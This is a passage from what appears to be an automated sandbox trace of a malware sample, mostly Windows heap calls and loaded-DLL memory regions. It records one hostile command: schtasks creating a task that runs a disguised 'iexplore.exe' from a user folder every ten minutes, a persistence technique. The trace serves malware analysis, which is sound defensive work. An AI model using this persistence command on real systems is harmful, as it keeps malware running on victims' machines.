hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd40 | out: hHeap=0x3b0000) returned 1 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5f0) returned 1 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5f0) returned 0x16 [0151.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5f0 | out: hHeap=0x3b0000) returned 1 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd10) returned 1 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd10) returned 0x20 [0151.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd10 | out: hHeap=0x3b0000) returned 1 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd610) returned 1 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd610) returned 0x16 [0151.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd610 | out: hHeap=0x3b0000) returned 1 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccce0) returned 1 [0151.265] GetProcessHeap () returned 0x3b0000 [0151.265] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccce0) returned 0x20 [0151.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccce0 | out: hHeap=0x3b0000) returned 1 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e9d70) returned 1 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3e9d70) returned 0x82 [0151.266] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e9d70 | out: hHeap=0x3b0000) returned 1 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccb0) returned 1 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cccb0) returned 0x20 [0151.266] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccb0 | out: hHeap=0x3b0000) returned 1 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd650) returned 1 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd650) returned 0xe [0151.266] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd650 | out: hHeap=0x3b0000) returned 1 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.266] GetProcessHeap () returned 0x3b0000 [0151.267] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc80) returned 1 [0151.267] GetProcessHeap () returned 0x3b0000 [0151.267] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc80) returned 0x20 [0151.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc80 | out: hHeap=0x3b0000) returned 1 [0151.267] GetProcessHeap () returned 0x3b0000 [0151.267] GetProcessHeap () returned 0x3b0000 [0151.267] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba40) returned 1 [0151.267] GetProcessHeap () returned 0x3b0000 [0151.267] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba40) returned 0x18 [0151.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba40 | out: hHeap=0x3b0000) returned 1 [0151.267] GetProcessHeap () returned 0x3b0000 [0151.267] GetProcessHeap () returned 0x3b0000 [0151.267] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a40) returned 1 [0151.267] GetProcessHeap () returned 0x3b0000 [0151.267] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a40) returned 0x20 [0151.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a40 | out: hHeap=0x3b0000) returned 1 [0151.268] GetProcessHeap () returned 0x3b0000 [0151.268] GetProcessHeap () returned 0x3b0000 [0151.268] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a70) returned 1 [0151.268] GetProcessHeap () returned 0x3b0000 [0151.268] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a70) returned 0x20 [0151.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a70 | out: hHeap=0x3b0000) returned 1 [0151.268] GetProcessHeap () returned 0x3b0000 [0151.268] GetProcessHeap () returned 0x3b0000 [0151.268] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5aa0) returned 1 [0151.268] GetProcessHeap () returned 0x3b0000 [0151.268] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5aa0) returned 0x20 [0151.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5aa0 | out: hHeap=0x3b0000) returned 1 [0151.268] GetProcessHeap () returned 0x3b0000 [0151.268] GetProcessHeap () returned 0x3b0000 [0151.268] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ad0) returned 1 [0151.269] GetProcessHeap () returned 0x3b0000 [0151.269] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5ad0) returned 0x20 [0151.269] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ad0 | out: hHeap=0x3b0000) returned 1 [0151.269] GetProcessHeap () returned 0x3b0000 [0151.269] GetProcessHeap () returned 0x3b0000 [0151.269] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba60) returned 1 [0151.269] GetProcessHeap () returned 0x3b0000 [0151.269] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba60) returned 0x18 [0151.269] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba60 | out: hHeap=0x3b0000) returned 1 [0151.269] GetProcessHeap () returned 0x3b0000 [0151.269] GetProcessHeap () returned 0x3b0000 [0151.269] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b00) returned 1 [0151.269] GetProcessHeap () returned 0x3b0000 [0151.269] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b00) returned 0x20 [0151.269] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b00 | out: hHeap=0x3b0000) returned 1 [0151.269] GetProcessHeap () returned 0x3b0000 [0151.270] GetProcessHeap () returned 0x3b0000 [0151.270] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b90) returned 1 [0151.270] GetProcessHeap () returned 0x3b0000 [0151.270] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b90) returned 0x20 [0151.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b90 | out: hHeap=0x3b0000) returned 1 [0151.270] GetProcessHeap () returned 0x3b0000 [0151.270] GetProcessHeap () returned 0x3b0000 [0151.270] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5bf0) returned 1 [0151.270] GetProcessHeap () returned 0x3b0000 [0151.270] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5bf0) returned 0x20 [0151.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5bf0 | out: hHeap=0x3b0000) returned 1 [0151.270] GetProcessHeap () returned 0x3b0000 [0151.270] GetProcessHeap () returned 0x3b0000 [0151.270] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c50) returned 1 [0151.270] GetProcessHeap () returned 0x3b0000 [0151.270] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c50) returned 0x20 [0151.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c50 | out: hHeap=0x3b0000) returned 1 [0151.271] GetProcessHeap () returned 0x3b0000 [0151.271] GetProcessHeap () returned 0x3b0000 [0151.271] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c80) returned 1 [0151.271] GetProcessHeap () returned 0x3b0000 [0151.271] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c80) returned 0x20 [0151.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c80 | out: hHeap=0x3b0000) returned 1 [0151.271] GetProcessHeap () returned 0x3b0000 [0151.271] GetProcessHeap () returned 0x3b0000 [0151.271] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba80) returned 1 [0151.271] GetProcessHeap () returned 0x3b0000 [0151.271] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba80) returned 0x18 [0151.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba80 | out: hHeap=0x3b0000) returned 1 [0151.271] GetProcessHeap () returned 0x3b0000 [0151.271] GetProcessHeap () returned 0x3b0000 [0151.271] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5bc0) returned 1 [0151.272] GetProcessHeap () returned 0x3b0000 [0151.272] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5bc0) returned 0x20 [0151.272] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5bc0 | out: hHeap=0x3b0000) returned 1 [0151.272] GetProcessHeap () returned 0x3b0000 [0151.272] GetProcessHeap () returned 0x3b0000 [0151.272] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba00) returned 1 [0151.272] GetProcessHeap () returned 0x3b0000 [0151.272] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba00) returned 0x18 [0151.272] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba00 | out: hHeap=0x3b0000) returned 1 [0151.272] exit (_Code=0) Thread: id = 176 os_tid = 0xca4 Process: id = "44" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3fbfd000" os_pid = "0xca0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"iexplorei\" /sc MINUTE /mo 10 /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3607 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3608 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3609 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 3610 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3611 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3612 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3613 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3614 start_va = 0xffd40000 end_va = 0xffd87fff monitored = 1 entry_point = 0xffd6966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3615 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3616 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3617 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3618 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3619 start_va = 0xd0000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3620 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3621 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3622 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3623 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3624 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3625 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3626 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3627 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3628 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3629 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3630 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3631 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3632 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3633 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3634 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3635 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3636 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3637 start_va = 0x140000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3638 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3639 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3640 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3641 start_va = 0x480000 end_va = 0x607fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 3642 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3643 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3644 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3645 start_va = 0x610000 end_va = 0x790fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 3646 start_va = 0x7a0000 end_va = 0x1b9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 3647 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3648 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3649 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3650 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3651 start_va = 0x1ba0000 end_va = 0x1e6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3652 start_va = 0x1f0000 end_va = 0x26cfff monitored = 0 entry_point = 0x1fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3653 start_va = 0x1f0000 end_va = 0x26cfff monitored = 0 entry_point = 0x1fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3654 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3655 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3656 start_va = 0x1e70000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 3657 start_va = 0x1e70000 end_va = 0x1f4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 3658 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 3659 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3662 start_va = 0x2110000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 3663 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3664 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3665 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3666 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3667 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3668 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3669 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3720 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 178 os_tid = 0xc84 [0151.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf9a0 | out: lpSystemTimeAsFileTime=0xbf9a0*(dwLowDateTime=0x27258300, dwHighDateTime=0x1d8a92a)) [0151.628] GetCurrentProcessId () returned 0xca0 [0151.628] GetCurrentThreadId () returned 0xc84 [0151.628] GetTickCount () returned 0x138a53a [0151.628] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xbf9a8 | out: lpPerformanceCount=0xbf9a8*=2063049159318) returned 1 [0151.629] GetModuleHandleW (lpModuleName=0x0) returned 0xffd40000 [0151.629] __set_app_type (_Type=0x1) [0151.629] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd6972c) returned 0x0 [0151.629] __wgetmainargs (in: _Argc=0xffd81240, _Argv=0xffd81250, _Env=0xffd81248, _DoWildCard=0, _StartInfo=0xffd8125c | out: _Argc=0xffd81240, _Argv=0xffd81250, _Env=0xffd81248) returned 0 [0151.630] _onexit (_Func=0xffd72ab0) returned 0xffd72ab0 [0151.630] _onexit (_Func=0xffd72ac4) returned 0xffd72ac4 [0151.630] _onexit (_Func=0xffd72afc) returned 0xffd72afc [0151.630] _onexit (_Func=0xffd72b58) returned 0xffd72b58 [0151.630] _onexit (_Func=0xffd72b80) returned 0xffd72b80 [0151.630] _onexit (_Func=0xffd72ba8) returned 0xffd72ba8 [0151.631] _onexit (_Func=0xffd72bd0) returned 0xffd72bd0 [0151.631] _onexit (_Func=0xffd72bf8) returned 0xffd72bf8 [0151.631] _onexit (_Func=0xffd72c20) returned 0xffd72c20 [0151.631] _onexit (_Func=0xffd72c48) returned 0xffd72c48 [0151.631] _onexit (_Func=0xffd72c70) returned 0xffd72c70 [0151.631] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0151.631] WinSqmIsOptedIn () returned 0x0 [0151.632] GetProcessHeap () returned 0x280000 [0151.632] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29b970 [0151.632] SetLastError (dwErrCode=0x0) [0151.632] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0151.632] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0151.632] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0151.632] VerifyVersionInfoW (in: lpVersionInformation=0xbf160, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbf160) returned 1 [0151.632] GetProcessHeap () returned 0x280000 [0151.632] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29b990 [0151.632] lstrlenW (lpString="") returned 0 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x2) returned 0x29b9b0 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295910 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29b9d0 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295940 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295970 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x2959a0 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x2959d0 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29b9f0 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295a00 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x295a30 [0151.633] GetProcessHeap () returned 0x280000 [0151.633] 